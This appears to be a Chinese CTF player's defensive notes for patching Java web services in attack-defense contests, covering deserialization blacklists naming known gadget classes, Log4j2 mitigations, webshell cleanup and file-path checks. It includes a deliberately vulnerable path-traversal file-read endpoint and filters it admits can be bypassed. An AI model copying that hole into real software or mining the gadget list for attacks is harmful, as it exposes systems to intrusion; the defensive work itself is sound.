1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import org.apache.commons.io.serialization.ValidatingObjectInputStream;.... private static Object deserialize (byte [] buffer) throws IOException,ClassNotFoundException , ConfigurationException { Object obj; ByteArrayInputStream bais = new ByteArrayInputStream (buffer); ValidatingObjectInputStream ois = new ValidatingObjectInputStream (bais); ois.accept(SerialObject.class); obj = ois.readObject(); return obj; }
SerialObject是一个class数组,白名单
黑名单防御:
重写resolveClass,例如创建一个MyObjectInputStream,里面限制黑名单:
1 2 3 4 5 6 7 8 9 10 11 12 private static final String[] blacklist = new String []{ "java\\.security.*" , "java\\.rmi.*" , "com\\.fasterxml.*" , "org\\.springframework.*" , "org\\.yaml.*" , "javax\\.management\\.remote.*" , ".*TemplatesImpl.*" , ".*XString.*" , ".*BadAttributeValueExpException.*" , ".*SignedObject.*" };
完整代码如下,黑名单根据需要再添加:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 package com.ctf.ezser.utils;import java.io.IOException;import java.io.InputStream;import java.io.InvalidClassException;import java.io.ObjectInputStream;import java.io.ObjectStreamClass;public class MyObjectInputStream extends ObjectInputStream { private static final String[] blacklist = new String []{ "java\\.security.*" , "java\\.rmi.*" , "com\\.fasterxml.*" , "org\\.springframework.*" , "org\\.yaml.*" , "javax\\.management\\.remote.*" , ".*TemplatesImpl.*" , ".*XString.*" , ".*BadAttributeValueExpException.*" , ".*SignedObject.*" }; public MyObjectInputStream (InputStream inputStream) throws IOException { super (inputStream); } protected Class resolveClass (ObjectStreamClass cls) throws IOException, ClassNotFoundException { if (!contains(cls.getName())) { return super .resolveClass(cls); } else { throw new InvalidClassException ("Unexpected serialized class" , cls.getName()); } } public static boolean contains (String targetValue) { for (String forbiddenPackage : blacklist) { if (targetValue.matches(forbiddenPackage)) return true ; } return false ; } }
然后在漏洞处修改利用我们自己写的ObjectInputStream
blacklist:
1 2 3 4 5 6 7 8 9 10 11 12 org.apache.commons.collections.functors.InvokerTransformer org.apache.commons.collections.functors.InstantiateTransformer org.apache.commons.collections4.functors.InvokerTransformer org.apache.commons.collections4.functors.InstantiateTransformer org.codehaus.groovy.runtime.ConvertedClosure org.codehaus.groovy.runtime.MethodClosure org.springframework.beans.factory.ObjectFactory com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl org.apache.commons.fileupload org.apache.commons.beanutils //防常见的反序列化
1 this .denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework" .split("," );
直接从fastjson一致限制的黑名单denyList
内copy:
GitHub - LeadroyaL/fastjson-blacklist
jspshell
啊?
d盾启动
找到就删了
不死马怎么办
我不会啊T_T
找进程吧
内存马
https://github.com/c0ny1/java-memshell-scanner
文件读取
File + FileInputStream/getPath/getAbsolutePath/ServletFileUpload
例如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 @GetMapping("/include/image") public void getImage (@RequestParam String image, HttpServletResponse response) { try { File file = new File ("resources/images/" , image); InputStream inputStream = new FileInputStream (file); InputStream fis = new BufferedInputStream (inputStream); byte [] buffer = new byte [fis.available()]; fis.read(buffer); fis.close(); response.reset(); String name = file.getName(); response.addHeader("Content-Disposition" , "attachment;filename=" + new String (name.getBytes(), "iso-8859-1" )); response.addHeader("Content-Length" , "" + file.length()); OutputStream out = new BufferedOutputStream (response.getOutputStream()); response.setContentType("application/octet-stream" ); out.write(buffer); out.flush(); out.close(); } catch (Exception e) { e.printStackTrace(); } }
简单waf:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public boolean validFilePath (File file) throws IOException { if (file.getCanonicalPath().startsWith("E:\\source\\xxxxxx\\ezfastjson2\\ezfastjson2\\ezfastjson2\\ezfastjson2" )){ return true ; } else { return false ; } } ... @GetMapping("/include/image") public String getImage (@RequestParam String image, HttpServletResponse response) { try { File file = new File ("resources/images/" , image); if (!validFilePath(file)){ return "ah-oh" ; } InputStream inputStream = new FileInputStream (file); ...
只能够简单的防御,特定情况下还能够bypass
文件写
简单防御:
1 2 3 4 5 6 7 8 9 10 public boolean validFilePath (File file) throws IOException { if (file.getCanonicalPath().startsWith("E:\\source\\huaweiCTF\\7.31\\ezfastjson2\\ezfastjson2\\ezfastjson2\\ezfastjson2" )){ if (!file.getCanonicalPath().endsWith(".jsp" ) && !file.getCanonicalPath().endsWith(".jar" ) ) return true ; } return false ; }
rce
对传参点进行过滤:
1 if (!Pattern.matches("[0-9A-Za-z@.]+", dir)) {
log4j2
分不同版本:
1 jvm参数添加 -Dlog4j2.formatMsgNoLookups=true
在应用程序的classpath下添加log4j2.component.properties
配置文件:
1 log4j2.formatMsgNoLookups=True;
系统环境变量:
1 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS,LOG4J_FORMAT_MSG_NO_LOOKUPS设置为true
对于log4j 1.x版本,移除JMSAppender.class文件,命令为:zip -q -d log4j-1.x.jar org/apache/log4j/net/JMSAppender.class
注意测试,防止对业务产生影响
移除JndiLookup
类的方式
1 zip -q -d log4j-core-2.x.jar org/apache/log4j/core/lookup/JndiLookup.class
永久修复:
升级到最高版本log4-2.15.1-rc1
并弃用log4j 1.x版本
awd_java_web_patch
GitHub - Jlan45/AWDJavaWebPatch: 通过jar包快速生成patch模版
个人推荐的用法是不进行jar包或war包的打包,而是通过本项目生成好IDEA项目之后只进行1、2、3步骤的配置,然后通过压缩软件对编译好的class文件直接进行替换,目前测试Bandizip可以保证替换前后jar包和war包的可用性
有部分的jar包war包反编译的class是经过编译器优化的,这也导致反编译后生成的Java文件会有奇怪的语法错误,这时候对症下药即可,也可以直接删除所有java文件只保留你需要进行patch的
最后祝各位师傅在AWD赛场上玩的愉快,不被环境困扰
文件监控
1 https://github.com/TheKingOfDuck/FileMonitor
查最近十分钟被修改的文件
1 find / -name *.php -mmin -5